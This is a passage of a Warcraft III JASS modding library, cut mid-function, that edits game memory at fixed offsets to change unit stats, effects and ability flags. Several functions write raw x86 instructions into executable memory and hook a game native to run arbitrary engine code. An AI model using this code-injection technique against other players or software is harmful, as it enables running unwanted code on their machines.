    return CallFastCallWith4Args(pFuncThiscallAddr,arg1,0,arg2,arg3)
endfunction

function CallThisCallWith4Args takes integer pFuncThiscallAddr, integer arg1, integer arg2, integer arg3, integer arg4 returns integer
    return CallFastCallWith5Args(pFuncThiscallAddr,arg1,0,arg2,arg3,arg4)
endfunction

function CallThisCallWith5Args takes integer pFuncThiscallAddr, integer arg1, integer arg2, integer arg3, integer arg4, integer arg5 returns integer
    return CallFastCallWith6Args(pFuncThiscallAddr,arg1,0,arg2,arg3,arg4,arg5)
endfunction

function CallThisCallWith6Args takes integer pFuncThiscallAddr, integer arg1, integer arg2, integer arg3, integer arg4, integer arg5, integer arg6 returns integer
    return CallFastCallWith7Args(pFuncThiscallAddr,arg1,0,arg2,arg3,arg4,arg5,arg6)
endfunction

function CallThisCallWith7Args takes integer pFuncThiscallAddr, integer arg1, integer arg2, integer arg3, integer arg4, integer arg5, integer arg6, integer arg7 returns integer
    return CallFastCallWith8Args(pFuncThiscallAddr,arg1,0,arg2,arg3,arg4,arg5,arg6,arg7)
endfunction

function GetUnitAbilityReal takes integer UnitAddress, integer AbilCode, integer unk1, integer unk2, integer unk3, integer unk4 returns integer
    return CallThisCallWith6Args(pGetUnitAbility,UnitAddress,AbilCode,unk1,unk2, unk3, unk4)
endfunction

function GetUnitAddress takes unit u returns integer
    return CallThisCallWith1Args(pGetUnitAddress, GetHandleId(u))
endfunction


function GetUnitAbility takes unit u, integer abilid returns integer
    if u==null then
        return 0
    endif
    return CallThisCallWith6Args(pGetUnitAbility,GetUnitAddress(u),abilid,0, 1, 1, 1)
endfunction

//function GetUnitAbility takes unit u, integer abilid returns integer
//
//
//    if abilid == 'Aatk' then
//        return GetUnitAttackAbility(u)
//    endif
//    if abilid == 'Amov' then
//        return GetUnitMoveAbility(u)
//    endif
//    if abilid == 'AHer' then
//        return GetUnitHeroAbility(u)
//    endif
//    if abilid == 'AObu' or abilid == 'AUbu' or abilid == 'ANbu' or abilid == 'AHbu' or abilid == 'AEbu' or abilid == 'AGbu' then
//        return GetUnitBuildAbility(u)
//    endif
//    if abilid == 'AInv' then
//        return GetUnitInventoryAbility(u)
//    endif
//
//    return GetUnitAbilityForAddresss(ConvertHandle(u),abilid)
//endfunction

function GetAbilityOrderIDbyID takes integer id returns integer
    local integer a
    if HaveSavedInteger(AbilitiesHashtable,id,'ordr') then
        return LoadInteger(AbilitiesHashtable,id,'ordr')
    endif
    if id=='AHer' or id=='ANeg' or id=='Aatk' or id=='AInv' then
        call SaveInteger(AbilitiesHashtable,id,'ordr',0)
        return 0
    endif
//    call BJDebugMsg("Requested "+Int2Hex(id))
    set bj_lastCreatedUnit=CreateUnit(Player(0),'e00E',0,0,0)
    call UnitAddAbility(bj_lastCreatedUnit,id)
    set a=GetUnitAbility(bj_lastCreatedUnit,id)
    set a=GetAbilityOrderID(a)
    call SaveInteger(AbilitiesHashtable,id,'ordr',a)
    return a
endfunction

function GetAbilityOrderIdAny takes integer a returns integer
    local integer base
    if Memory[(a+0x54)/4]!=0 and Memory[(a+0x6C)/4]!=0 then
        set base=Memory[(Memory[(a+0x54)/4]+0x30)/4]
//        call echo(Id2String(base))
        if base>0 and base!='ANcl' then
            return GetAbilityOrderIDbyID(base)
//            return 0
        elseif base=='ANcl' then
            return Memory[(a+0x124)/4]
        endif
    endif
    return 0
endfunction

function ShowAbilityById_Main takes integer ConvertedHandle, integer d returns nothing
    if ConvertedHandle!=0 then
        if Memory[ConvertedHandle/4]!=0 then
            set Memory[(ConvertedHandle + 0x40)/4]=Memory[(ConvertedHandle + 0x40)/4]+d
        endif
    endif
endfunction

function HideAbilityButton takes unit u, integer id, boolean hide returns nothing
    local integer offset
    if u!=null and id!=0 then
        set offset=GetUnitAbility(u,id)
        if offset!=0 then
            if hide then
                call ShowAbilityById_Main(offset,1)
            else
                call ShowAbilityById_Main(offset,-1)
            endif
        endif
    endif
endfunction

function GetSpellCastpoint takes ability a returns real
    return cleanReal(indexToReal(Memory[(ConvertHandle(a)+0x8C)/4]))
endfunction

function SetSpellCastpoint takes ability a, real dur returns nothing
    set Memory[(ConvertHandle(a)+0x8C)/4]=cleanInt(realToIndex(dur))
endfunction

function GetSpellBackswing takes ability a returns real
    return cleanReal(indexToReal(Memory[(ConvertHandle(a)+0x94)/4]))
endfunction

function SetSpellBackswing takes ability a, real dur returns nothing
    set Memory[(ConvertHandle(a)+0x94)/4]=cleanInt(realToIndex(dur))
endfunction

function ToggleAbilityAutocast takes integer address, boolean on returns nothing
    local integer flags
    local integer flag128=0//0 if enabled
    local integer flag524288=0
    if address>0 then
        set flags=Memory[(address+0x20)/4]
        if BitwiseAnd(flags,0x80)==0 then
            set flag128=0x80//not enabled
//            call echo("not enabled")
//        else
//            call echo("enabled")
        endif
        if BitwiseAnd(flags,0x80000)==0 then
            set flag524288=0x80000//not enabled
        endif
        if on and flag128>0 then
            set flags=flags+flag128
        elseif on==false and flag128==0 then
            set flags=flags-0x80
        endif
        if on and flag524288>0 then
            set flags=flags+flag524288
        elseif on==false and flag524288==0 then
            set flags=flags-0x80000
        endif
        set Memory[(address+0x20)/4]=flags
    endif
endfunction

function SetUnitAbiltyAutocast takes unit u, integer id, boolean on returns nothing
    call ToggleAbilityAutocast(GetUnitAbility(u,id),on)
endfunction

function SetUnitAttackType takes unit u, integer i, integer attacknum returns nothing
    if attacknum==1 then
        set Memory[(GetUnitAttackAbility(u) + 0xF4)/4]=i
    elseif attacknum==2 then
        set Memory[(GetUnitAttackAbility(u) + 0xF8)/4]=i
    endif
endfunction

function SetUnitAttackType1 takes unit u, integer i returns nothing
    call SetUnitAttackType(u,i,1)
endfunction

function SetUnitAttackType2 takes unit u, integer i returns nothing
    call SetUnitAttackType(u,i,2)
endfunction

//6 = hero, 5 = chaos, 4 = magic, 3 = siege, 2 = piercing, 1 = normal, 0 = spell?
//values over 6 takes incorrect multipliers from nearby memory, do not use them
function GetUnitAttackType1 takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0xF4/4]
endfunction

function GetUnitAttackType2 takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0xF8/4]
endfunction

//unit's weapon type is melee, ranged, splash, artillery, etc
//values 1-8
// 2 = ranger, 1 = instante, 0 = melee, 5 = splash, 6 = mbounce,
function SetUnitWeaponType takes unit u, integer i returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0xDC/4]=i
endfunction

function GetUnitWeaponType takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0xDC/4]
endfunction

//setting green bonus automatically adjusts base damage to fit
function SetUnitGreenBonusDamage takes unit u, integer i returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0xAC/4]=i
endfunction

function GetUnitGreenBonusDamage takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0xAC/4]
endfunction

function AddUnitGreenBonusDamage takes unit u, integer i returns nothing
    call SetUnitGreenBonusDamage(u,GetUnitGreenBonusDamage(u)+i)
endfunction

function SetUnitBaseDamage takes unit u, integer i returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0xA0/4]=i
endfunction

function GetUnitBaseDamage takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0xA0/4]
endfunction

function AddUnitBaseDamage takes unit u, integer bonus returns nothing
    call SetUnitBaseDamage(u,GetUnitBaseDamage(u)+bonus)
endfunction

function SetUnitBaseAttributeDamage takes unit u, integer i returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0xA4/4]=i
endfunction

function GetUnitBaseAttributeDamage takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0xA4/4]
endfunction

function SetUnitDamageDicesSideCount takes unit u, integer i returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x94/4]=i
endfunction

function GetUnitDamageDicesSideCount takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0x94/4]
endfunction

function SetUnitDamageDicesCount takes unit u, integer i returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x88/4]=i
endfunction

function GetUnitDamageDicesCount takes unit u returns integer
    local integer a=GetUnitAttackAbility(u)
    if a>0 then
        return Memory[a/4 + 0x88/4]
    endif
    return 0
endfunction

function SetUnitAttackRange1 takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x258/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitAttackRange1 takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x258/4]))
endfunction

function SetUnitAttackRange2 takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x27C/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitAttackRange2 takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x27C/4]))
endfunction

function SetUnitBAT1 takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x158/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitBAT1 takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x158/4]))
endfunction

function SetUnitBAT2 takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x160/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitBAT2 takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x160/4]))
endfunction

function SetUnitAttackPoint1 takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x16C/4]=cleanInt(realToIndex(r))
endfunction

function SetUnitAttackPoint2 takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x17C/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitAttackPoint1 takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x16C/4]))
endfunction

function GetUnitAttackPoint2 takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x17C/4]))
endfunction

function GetUnitAttackEnabledIndex takes unit u returns integer
    return Memory[GetUnitAttackAbility(u)/4 + 0x104/4]
endfunction

function SetUnitAttackBackswing takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x190/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitAttackBackswing takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x190/4]))
endfunction

function SetUnitAttackSpeed takes unit u, real r returns nothing
    set Memory[GetUnitAttackAbility(u)/4 + 0x1B0/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitAttackSpeed takes unit u returns real
    return cleanReal(indexToReal(Memory[GetUnitAttackAbility(u)/4 + 0x1B0/4]))
endfunction

function AddUnitAttackSpeed takes unit u, real r returns nothing
    call SetUnitAttackSpeed(u,GetUnitAttackSpeed(u)+r)
endfunction

function GetUnitAddressFloatsRelated takes integer pConvertedHandle, integer step returns integer
    local integer pOffset1 = pConvertedHandle + step
    local integer pOffset2 = Memory[pGameClass1]
    set pOffset1 = Memory[pOffset1/4]
    set pOffset2 = Memory[(pOffset2+0xC)/4]
    set pOffset2 = Memory[(( pOffset1 * 8 ) + pOffset2 + 4)/4]
    return pOffset2
endfunction

function SetUnitFacingInstant takes unit u, real a returns nothing
    local integer pOffset2 = GetUnitAddressFloatsRelated(ConvertHandle(u),0xA0)
    set Memory[Memory[(pOffset2+0x28)/4]/4 +0xA4/4]=cleanInt(realToIndex(bj_DEGTORAD*a))
endfunction

function SetUnitMaxHP4Address takes integer pConvertedHandle, real newhp returns nothing
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xA0)
    set Memory[(pOffset2+0x84)/4]=cleanInt(realToIndex(newhp))
endfunction

function SetUnitMaxMP4Address takes integer pConvertedHandle, real newmp returns nothing
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xC0)
    set Memory[(pOffset2+0x84)/4]=cleanInt(realToIndex(newmp))
endfunction

function SetUnitMaxHP takes unit u, real newhp returns nothing
    call SetUnitMaxHP4Address(ConvertHandle(u),newhp)
endfunction

function SetUnitMaxMP takes unit u, real newmp returns nothing
    call SetUnitMaxMP4Address(ConvertHandle(u),newmp)
endfunction

function GetUnitHPRegenForAddress takes integer pConvertedHandle returns real
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xA0)
    return cleanReal(indexToReal(Memory[(pOffset2+0x7C)/4]))
endfunction

function SetUnitXSoft takes integer pConvertedHandle, real x returns nothing
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xA0)
    set Memory[Memory[(pOffset2+0x28)/4]/4+0x54/4]=SetRealIntoMemory(x)
endfunction

function SetUnitHPRegenForAddress takes integer pConvertedHandle, real r returns nothing
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xA0)
    set Memory[(pOffset2+0x7C)/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitMPRegenForAddress takes integer pConvertedHandle returns real
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xC0)
//    call echo(Int2Hex(pOffset2))
    return cleanReal(indexToReal(Memory[(pOffset2+0x7C)/4]))
endfunction

function SetUnitMPRegenForAddress takes integer pConvertedHandle, real r returns nothing
    local integer pOffset2 = GetUnitAddressFloatsRelated(pConvertedHandle,0xC0)
    set Memory[(pOffset2+0x7C)/4]=cleanInt(realToIndex(r))
endfunction

function GetUnitHPRegen takes unit u returns real
    return GetUnitHPRegenForAddress(ConvertHandle(u))
endfunction

function GetWidgetHPRegen takes widget u returns real
    return GetUnitHPRegenForAddress(ConvertHandle(u))
endfunction

function GetUnitMPRegen takes unit u returns real
    return GetUnitMPRegenForAddress(ConvertHandle(u))
endfunction

function SetUnitHPRegen takes unit u, real r returns nothing
    local real curhp=GetWidgetLife(u)
    if curhp>0 then
        call SetUnitHPRegenForAddress(ConvertHandle(u),r)
        call SetWidgetLife(u,curhp)
    endif
endfunction

function AddUnitHPRegen takes unit u, real r returns nothing
    local real curhp=GetWidgetLife(u)
    local integer h
    if curhp>0 then
        set h=ConvertHandle(u)
        call SetUnitHPRegenForAddress(h,r+GetUnitHPRegenForAddress(h))
        call SetWidgetLife(u,curhp)
    endif
endfunction

function SetUnitMPRegen takes unit u, real r returns nothing
    local real curhp=GetUnitState(u,UNIT_STATE_MANA)
    if GetUnitState(u,UNIT_STATE_MAX_MANA)>0 then
        call SetUnitMPRegenForAddress(ConvertHandle(u),r)
        call SetUnitState(u,UNIT_STATE_MANA,curhp)
    endif
endfunction

function AddUnitMPRegen takes unit u, real r returns nothing
    local real curhp=GetUnitState(u,UNIT_STATE_MANA)
    local integer h
    if GetUnitState(u,UNIT_STATE_MAX_MANA)>0 then
        set h=ConvertHandle(u)
        call SetUnitMPRegenForAddress(h,r+GetUnitMPRegenForAddress(h))
        call SetUnitState(u,UNIT_STATE_MANA,curhp)
    endif
endfunction



function SetEffectX_ForAddress takes integer pConvertedHandle, real r returns nothing
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xC0/4] = cleanInt(realToIndex(r))
endfunction
function SetEffectX takes effect e, real r returns nothing
    call SetEffectX_ForAddress(ConvertHandle(e),r)
endfunction

function GetEffectX_ForAddress takes integer pConvertedHandle returns real
    return cleanReal(indexToReal(Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xC0/4]))
endfunction
function GetEffectX takes effect e returns real
    return GetEffectX_ForAddress(ConvertHandle(e))
endfunction

function SetEffectY_ForAddress takes integer pConvertedHandle, real r returns nothing
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xC4/4] = cleanInt(realToIndex(r))
endfunction
function SetEffectY takes effect e, real r returns nothing
    call SetEffectY_ForAddress(ConvertHandle(e),r)
endfunction

function GetEffectY_ForAddress takes integer pConvertedHandle returns real
    return cleanReal(indexToReal(Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xC4/4]))
endfunction
function GetEffectY takes effect e returns real
    return GetEffectY_ForAddress(ConvertHandle(e))
endfunction

function SetEffectZ_ForAddress takes integer pConvertedHandle, real r returns nothing
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xC8/4] = cleanInt(realToIndex(r))
endfunction
function SetEffectZ takes effect e, real r returns nothing
    call SetEffectZ_ForAddress(ConvertHandle(e),r)
endfunction

function GetEffectZ_ForAddress takes integer pConvertedHandle returns real
    return cleanReal(indexToReal(Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xC8/4]))
endfunction

function GetEffectZ takes effect e returns real
    return GetEffectZ_ForAddress(ConvertHandle(e))
endfunction


function SetEffectPos takes effect e, real x, real y, real z returns nothing
    local integer pConvertedHandle = ConvertHandle(e)
    call SetEffectX_ForAddress(pConvertedHandle,x)
    call SetEffectY_ForAddress(pConvertedHandle,y)
    call SetEffectZ_ForAddress(pConvertedHandle,z)
endfunction

function SetObjectColor takes handle e, integer color returns nothing
    set Memory[Memory[ConvertHandle(e)/4 + 0x28/4]/4 + 0x148/4] = color
endfunction

function SetEffectSize takes effect e, real size returns nothing
    set Memory[Memory[ConvertHandle(e)/4 + 0x28/4]/4 + 0xE8/4] = cleanInt(realToIndex(size))
endfunction

function SetEffectSizeEx takes effect e, real full, real x,real y, real z returns nothing
    local integer pConvertedHandle = ConvertHandle(e)
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0xE8/4] = cleanInt(realToIndex(full))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x120/4] = cleanInt(realToIndex(x))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x124/4] = cleanInt(realToIndex(y))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x128/4] = cleanInt(realToIndex(z))
endfunction

function SetEffectFacing takes effect e, real angle returns nothing
    local integer pConvertedHandle = ConvertHandle(e)
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4] = cleanInt(realToIndex(Cos(angle)))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x10C/4] = cleanInt(realToIndex(Sin(angle)))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x114/4] = cleanInt(realToIndex(-Sin(angle)))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x118/4] = cleanInt(realToIndex(Cos(angle)))
endfunction

function GetEffectFacing takes effect e returns real//returns DEGREES
    local integer pConvertedHandle = ConvertHandle(e)
return Acos( cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4]) ))) * bj_RADTODEG
endfunction

function GetUnitFacingEx takes unit e returns real//returns DEGREES
    local integer pConvertedHandle = ConvertHandle(e)
    return Acos( cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4]) ))) * bj_RADTODEG
endfunction

function GetUnitAngle1 takes unit e returns real
    local integer pConvertedHandle = ConvertHandle(e)
    return cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4]) ))
endfunction
function GetUnitAngle2 takes unit e returns real
    local integer pConvertedHandle = ConvertHandle(e)
    return cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x10C/4]) ))
endfunction
function GetUnitAngle3 takes unit e returns real
    local integer pConvertedHandle = ConvertHandle(e)
    return cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x114/4]) ))
endfunction
function GetUnitAngle4 takes unit e returns real
    local integer pConvertedHandle = ConvertHandle(e)
    return cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x118/4]) ))
endfunction

function GetUnitFacingEx2 takes unit e returns real//returns DEGREES
    local integer pConvertedHandle = ConvertHandle(e)
    return Asin( cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x10C/4]) ))) * bj_RADTODEG
endfunction


function GetUnitFacingEx3 takes unit e returns real//returns DEGREES
    local integer pConvertedHandle = ConvertHandle(e)
    return Asin( -1 * cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x114/4]) ))) * bj_RADTODEG
endfunction

function GetUnitFacingEx4 takes unit e returns real//returns DEGREES
    local integer pConvertedHandle = ConvertHandle(e)
    return Atan2( cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x10C/4]) )), cleanReal(indexToReal((Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4]) ))) * bj_RADTODEG
endfunction

function GetTrackableX takes trackable t returns real
    return GetEffectX_ForAddress(ConvertHandle(t))
endfunction

function GetTrackableY takes trackable t returns real
    return GetEffectY_ForAddress(ConvertHandle(t))
endfunction

function GetTrackableZ takes trackable t returns real
    return GetEffectZ_ForAddress(ConvertHandle(t))
endfunction

function SetTrackableX takes trackable t, real r returns nothing
    call SetEffectX_ForAddress(ConvertHandle(t),r)
endfunction

function SetTrackableY takes trackable t, real r  returns nothing
    call SetEffectY_ForAddress(ConvertHandle(t),r)
endfunction

function SetTrackableZ takes trackable t, real r  returns nothing
    call SetEffectZ_ForAddress(ConvertHandle(t),r)
endfunction

function SetTrackablePos takes trackable t, real x,real y,real z returns nothing
    local integer pConvertedHandle = ConvertHandle(t)
    call SetEffectX_ForAddress(pConvertedHandle,x)
    call SetEffectY_ForAddress(pConvertedHandle,y)
    call SetEffectZ_ForAddress(pConvertedHandle,z)
endfunction

function SetTrackableFacing takes trackable t, real angle returns nothing//takes RADIANS, use bj_DEGTORAD
    local integer pConvertedHandle = ConvertHandle(t)
    local real cos=Cos(angle)
    local real sin=Sin(angle)
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4] = cleanInt(realToIndex( cos ))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x10C/4] = cleanInt(realToIndex( sin ))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x114/4] = cleanInt(realToIndex( -sin ))
    set Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x118/4] = cleanInt(realToIndex( cos ))
endfunction

function GetTrackableFacing takes trackable t returns real//returns DEGREES
    local integer pConvertedHandle = ConvertHandle(t)
    return Acos( cleanReal(indexToReal(Memory[Memory[pConvertedHandle/4 + 0x28/4]/4 + 0x108/4] )))
endfunction


function ResetTimedLife takes integer pConvertedHandle, real time, real maxtime returns nothing
    set Memory[pConvertedHandle/4 + 0xD0/4] = cleanInt(realToIndex(maxtime))
//    set Memory[Memory[Memory[pConvertedHandle/4 + 0x90/4]/4 + 0xC/4]/4 + 0x40/4] = cleanInt(realToIndex(time))
endfunction




function CallStdcallWith1Args takes integer pFuncStdcallAddr, integer arg1 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+8, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+12, pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xC359D1FF) // call ecx, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction



function CallStdcallWith2Args takes integer pFuncStdcallAddr, integer arg1, integer arg2 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+20, pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xC359D1FF) // call ecx, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction




function CallStdcallWith3Args takes integer pFuncStdcallAddr, integer arg1, integer arg2, integer arg3 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+28, pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xC359D1FF) // call ecx, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallStdcallWith4Args takes integer pFuncStdcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4 returns integer
    local integer pOffset1



    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg4) // push arg4
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+28, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+36, pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xC359D1FF) // call ecx, pop ecx, ret

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallStdcallWith5Args takes integer pFuncStdcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg5) // push arg5
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+12, arg4) // push arg4
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+20, arg3) // push arg3
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+28, arg2) // push arg2
    call WriteRealMemory(pReservedExecutableMemory2+32, 0x6890C98B) //  mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+36, arg1) // push arg1
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xB990C98B) // mov ecx,ecx , nop
    call WriteRealMemory(pReservedExecutableMemory2+44, pFuncStdcallAddr) // mov ecx, pFuncStdcallAddr
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xC359D1FF) // call ecx, pop ecx, ret


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction




function CallStdcallWith6Args takes integer pFuncStdcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5 , integer arg6 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68C98B51) // push ecx. mov ecx,ecx
    call WriteRealMemory(pReservedExecutableMemory2+4, arg6) // push arg6
